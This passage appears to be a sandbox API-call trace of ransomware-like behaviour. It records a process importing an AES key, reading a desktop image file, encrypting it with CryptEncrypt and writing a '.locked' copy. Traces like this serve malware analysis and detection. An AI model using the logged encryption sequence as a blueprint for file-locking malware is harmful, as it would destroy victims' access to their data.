(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0127.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0127.338] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0127.338] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0127.339] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0127.339] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0127.339] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0127.339] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0127.339] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0127.339] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.339] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.339] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.340] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.340] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.340] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.340] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.340] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.340] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.340] SystemFunction041 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.340] SystemFunction040 (in: Memory=0x8e6fe3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fe3c) returned 0x0 [0127.341] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.341] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.341] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.341] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.342] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.342] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.342] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0127.343] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x42eb298) returned 1 [0127.343] CryptImportKey (in: hProv=0x42eb298, pbData=0x69c51ac, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e84c78) returned 1 [0127.343] CryptContextAddRef (hProv=0x42eb298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.343] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="\x50a4\x69c") returned 0x0 [0127.343] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.344] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.345] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0127.345] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0127.345] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.345] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.346] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.346] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.346] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.347] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.347] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.347] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.347] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0127.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.348] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.349] GetFileType (hFile=0x868) returned 0x1 [0127.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.349] GetFileType (hFile=0x868) returned 0x1 [0127.349] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.350] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe340\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.350] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.350] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xea, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.350] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.350] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked", lpFilePart=0x0) returned 0x51 [0127.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.350] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.351] GetFileType (hFile=0x858) returned 0x1 [0127.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.351] GetFileType (hFile=0x858) returned 0x1 [0127.351] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.352] CryptGenRandom (in: hProv=0x42eb298, dwLen=0x10, pbBuffer=0x69ddcd0 | out: pbBuffer=0x69ddcd0) returned 1 [0127.353] CryptContextAddRef (hProv=0x42eb298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.353] CryptDuplicateKey (in: hKey=0x8e84c78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae64c | out: phKey=0x99ae64c*=0x8e84e38) returned 1 [0127.353] CryptContextAddRef (hProv=0x42eb298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.353] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x4, pbData=0x69def8c*=0x1, dwFlags=0x0) returned 1 [0127.353] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x1, pbData=0x69def58, dwFlags=0x0) returned 1 [0127.353] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xe280\x99a\x18b2\x7477\x630\x438\x24a") returned 0x0 [0127.354] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xeb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.354] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xec, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.354] ReadFile (in: hFile=0x868, lpBuffer=0x69e24e8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x69e24e8*, lpNumberOfBytesRead=0x99ae65c*=0x658e, lpOverlapped=0x0) returned 1 [0127.355] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69f64f4*, pdwDataLen=0x99ae650*=0x6580, dwBufLen=0x6580 | out: pbData=0x69f64f4*, pdwDataLen=0x99ae650*=0x6580) returned 1 [0127.355] WriteFile (in: hFile=0x858, lpBuffer=0x69ddd90*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x69ddd90*, lpNumberOfBytesWritten=0x99ae634*=0x1000, lpOverlapped=0x0) returned 1 [0127.356] WriteFile (in: hFile=0x858, lpBuffer=0x69f74e0*, nNumberOfBytesToWrite=0x5594, lpNumberOfBytesWritten=0x99ae634, 